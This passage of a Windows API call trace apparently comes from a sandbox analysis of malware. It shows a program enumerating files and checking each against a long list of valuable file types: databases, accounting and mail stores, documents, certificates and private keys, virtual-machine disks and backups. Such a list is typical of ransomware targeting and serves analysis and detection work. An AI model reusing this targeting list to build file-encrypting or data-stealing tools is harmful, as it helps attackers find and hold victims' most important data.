lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll" [0107.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.ems") returned 0 [0107.007] lstrlenA (lpString="*.ems") returned 5 [0107.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.db") returned 0 [0107.007] lstrlenA (lpString="*.db") returned 4 [0107.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.dbf") returned 0 [0107.007] lstrlenA (lpString="*.dbf") returned 5 [0107.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.myox") returned 0 [0107.007] lstrlenA (lpString="*.myox") returned 6 [0107.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.myo") returned 0 [0107.007] lstrlenA (lpString="*.myo") returned 5 [0107.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.qbw") returned 0 [0107.007] lstrlenA (lpString="*.qbw") returned 5 [0107.007] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.qbb") returned 0 [0107.007] lstrlenA (lpString="*.qbb") returned 5 [0107.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.qbm") returned 0 [0107.008] lstrlenA (lpString="*.qbm") returned 5 [0107.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.qbo") returned 0 [0107.008] lstrlenA (lpString="*.qbo") returned 5 [0107.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.qbx") returned 0 [0107.008] lstrlenA (lpString="*.qbx") returned 5 [0107.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.qba") returned 0 [0107.008] lstrlenA (lpString="*.qba") returned 5 [0107.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.qby") returned 0 [0107.008] lstrlenA (lpString="*.qby") returned 5 [0107.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.qbj") returned 0 [0107.008] lstrlenA (lpString="*.qbj") returned 5 [0107.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.ofx") returned 0 [0107.008] lstrlenA (lpString="*.ofx") returned 5 [0107.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.qif") returned 0 [0107.008] lstrlenA (lpString="*.qif") returned 5 [0107.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.mye") returned 0 [0107.008] lstrlenA (lpString="*.mye") returned 5 [0107.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.mbox") returned 0 [0107.009] lstrlenA (lpString="*.mbox") returned 6 [0107.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.eml") returned 0 [0107.009] lstrlenA (lpString="*.eml") returned 5 [0107.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.pst") returned 0 [0107.009] lstrlenA (lpString="*.pst") returned 5 [0107.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.ost") returned 0 [0107.009] lstrlenA (lpString="*.ost") returned 5 [0107.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.idx") returned 0 [0107.009] lstrlenA (lpString="*.idx") returned 5 [0107.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.dbx") returned 0 [0107.009] lstrlenA (lpString="*.dbx") returned 5 [0107.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.sql") returned 0 [0107.009] lstrlenA (lpString="*.sql") returned 5 [0107.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.mdb") returned 0 [0107.009] lstrlenA (lpString="*.mdb") returned 5 [0107.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.fdb") returned 0 [0107.009] lstrlenA (lpString="*.fdb") returned 5 [0107.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.wab") returned 0 [0107.010] lstrlenA (lpString="*.wab") returned 5 [0107.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.dat") returned 0 [0107.010] lstrlenA (lpString="*.dat") returned 5 [0107.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.txt") returned 0 [0107.010] lstrlenA (lpString="*.txt") returned 5 [0107.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.jpeg") returned 0 [0107.010] lstrlenA (lpString="*.jpeg") returned 6 [0107.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.jpg") returned 0 [0107.010] lstrlenA (lpString="*.jpg") returned 5 [0107.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.png") returned 0 [0107.010] lstrlenA (lpString="*.png") returned 5 [0107.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.php") returned 0 [0107.010] lstrlenA (lpString="*.php") returned 5 [0107.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.cs") returned 0 [0107.010] lstrlenA (lpString="*.cs") returned 4 [0107.010] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.cpp") returned 0 [0107.010] lstrlenA (lpString="*.cpp") returned 5 [0107.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.rar") returned 0 [0107.011] lstrlenA (lpString="*.rar") returned 5 [0107.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.zip") returned 0 [0107.011] lstrlenA (lpString="*.zip") returned 5 [0107.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.html") returned 0 [0107.011] lstrlenA (lpString="*.html") returned 6 [0107.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.htm") returned 0 [0107.011] lstrlenA (lpString="*.htm") returned 5 [0107.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.xlsx") returned 0 [0107.011] lstrlenA (lpString="*.xlsx") returned 6 [0107.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.xls") returned 0 [0107.011] lstrlenA (lpString="*.xls") returned 5 [0107.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.mp4") returned 0 [0107.011] lstrlenA (lpString="*.mp4") returned 5 [0107.011] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.ppt") returned 0 [0107.011] lstrlenA (lpString="*.ppt") returned 5 [0107.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.pptx") returned 0 [0107.012] lstrlenA (lpString="*.pptx") returned 6 [0107.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.doc") returned 0 [0107.012] lstrlenA (lpString="*.doc") returned 5 [0107.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.dot") returned 0 [0107.012] lstrlenA (lpString="*.dot") returned 5 [0107.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.docx") returned 0 [0107.012] lstrlenA (lpString="*.docx") returned 6 [0107.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.7z") returned 0 [0107.012] lstrlenA (lpString="*.7z") returned 4 [0107.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.tar") returned 0 [0107.012] lstrlenA (lpString="*.tar") returned 5 [0107.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.bz2") returned 0 [0107.012] lstrlenA (lpString="*.bz2") returned 5 [0107.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.gz") returned 0 [0107.012] lstrlenA (lpString="*.gz") returned 4 [0107.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.mkv") returned 0 [0107.013] lstrlenA (lpString="*.mkv") returned 5 [0107.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.eml") returned 0 [0107.013] lstrlenA (lpString="*.eml") returned 5 [0107.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.msg") returned 0 [0107.013] lstrlenA (lpString="*.msg") returned 5 [0107.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.edb") returned 0 [0107.013] lstrlenA (lpString="*.edb") returned 5 [0107.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.accdb") returned 0 [0107.014] lstrlenA (lpString="*.accdb") returned 7 [0107.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.odb") returned 0 [0107.014] lstrlenA (lpString="*.odb") returned 5 [0107.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.java") returned 0 [0107.014] lstrlenA (lpString="*.java") returned 6 [0107.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.asm") returned 0 [0107.014] lstrlenA (lpString="*.asm") returned 5 [0107.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.pfx") returned 0 [0107.014] lstrlenA (lpString="*.pfx") returned 5 [0107.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.pem") returned 0 [0107.014] lstrlenA (lpString="*.pem") returned 5 [0107.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.p12") returned 0 [0107.014] lstrlenA (lpString="*.p12") returned 5 [0107.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.gpg") returned 0 [0107.014] lstrlenA (lpString="*.gpg") returned 5 [0107.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.vsd") returned 0 [0107.014] lstrlenA (lpString="*.vsd") returned 5 [0107.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.odg") returned 0 [0107.015] lstrlenA (lpString="*.odg") returned 5 [0107.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.raw") returned 0 [0107.015] lstrlenA (lpString="*.raw") returned 5 [0107.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.nef") returned 0 [0107.015] lstrlenA (lpString="*.nef") returned 5 [0107.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.svg") returned 0 [0107.015] lstrlenA (lpString="*.svg") returned 5 [0107.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.psd") returned 0 [0107.015] lstrlenA (lpString="*.psd") returned 5 [0107.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.vmx") returned 0 [0107.015] lstrlenA (lpString="*.vmx") returned 5 [0107.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.vmdk") returned 0 [0107.015] lstrlenA (lpString="*.vmdk") returned 6 [0107.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.vdi") returned 0 [0107.015] lstrlenA (lpString="*.vdi") returned 5 [0107.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.lay6") returned 0 [0107.015] lstrlenA (lpString="*.lay6") returned 6 [0107.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.mpeg") returned 0 [0107.016] lstrlenA (lpString="*.mpeg") returned 6 [0107.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.djvu") returned 0 [0107.016] lstrlenA (lpString="*.djvu") returned 6 [0107.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.tiff") returned 0 [0107.016] lstrlenA (lpString="*.tiff") returned 6 [0107.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.backup") returned 0 [0107.016] lstrlenA (lpString="*.backup") returned 8 [0107.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.pdf") returned 0 [0107.016] lstrlenA (lpString="*.pdf") returned 5 [0107.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.cert") returned 0 [0107.016] lstrlenA (lpString="*.cert") returned 6 [0107.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.docm") returned 0 [0107.016] lstrlenA (lpString="*.docm") returned 6 [0107.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.xlsm") returned 0 [0107.016] lstrlenA (lpString="*.xlsm") returned 6 [0107.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.dwg") returned 0 [0107.016] lstrlenA (lpString="*.dwg") returned 5 [0107.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.nd") returned 0 [0107.017] lstrlenA (lpString="*.nd") returned 4 [0107.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.tlg") returned 0 [0107.017] lstrlenA (lpString="*.tlg") returned 5 [0107.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.lgb") returned 0 [0107.017] lstrlenA (lpString="*.lgb") returned 5 [0107.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.mov") returned 0 [0107.017] lstrlenA (lpString="*.mov") returned 5 [0107.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.xdw") returned 0 [0107.017] lstrlenA (lpString="*.xdw") returned 5 [0107.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.ods") returned 0 [0107.017] lstrlenA (lpString="*.ods") returned 5 [0107.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.wav") returned 0 [0107.017] lstrlenA (lpString="*.wav") returned 5 [0107.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.mp3") returned 0 [0107.017] lstrlenA (lpString="*.mp3") returned 5 [0107.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.aiff") returned 0 [0107.018] lstrlenA (lpString="*.aiff") returned 6 [0107.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.flac") returned 0 [0107.018] lstrlenA (lpString="*.flac") returned 6 [0107.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.m4a") returned 0 [0107.018] lstrlenA (lpString="*.m4a") returned 5 [0107.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\System.WorkflowServices.ni.dll", pszSpec="*.csv") returned 0 [0107.018] lstrlenA (lpString="*.csv") returned 5 [0107.018] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fa48ed9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8fa48ed9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8fa95199, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x14ba00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.WorkflowServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0107.018] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.018] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb075ba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8fb075ba, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8fb075ba, 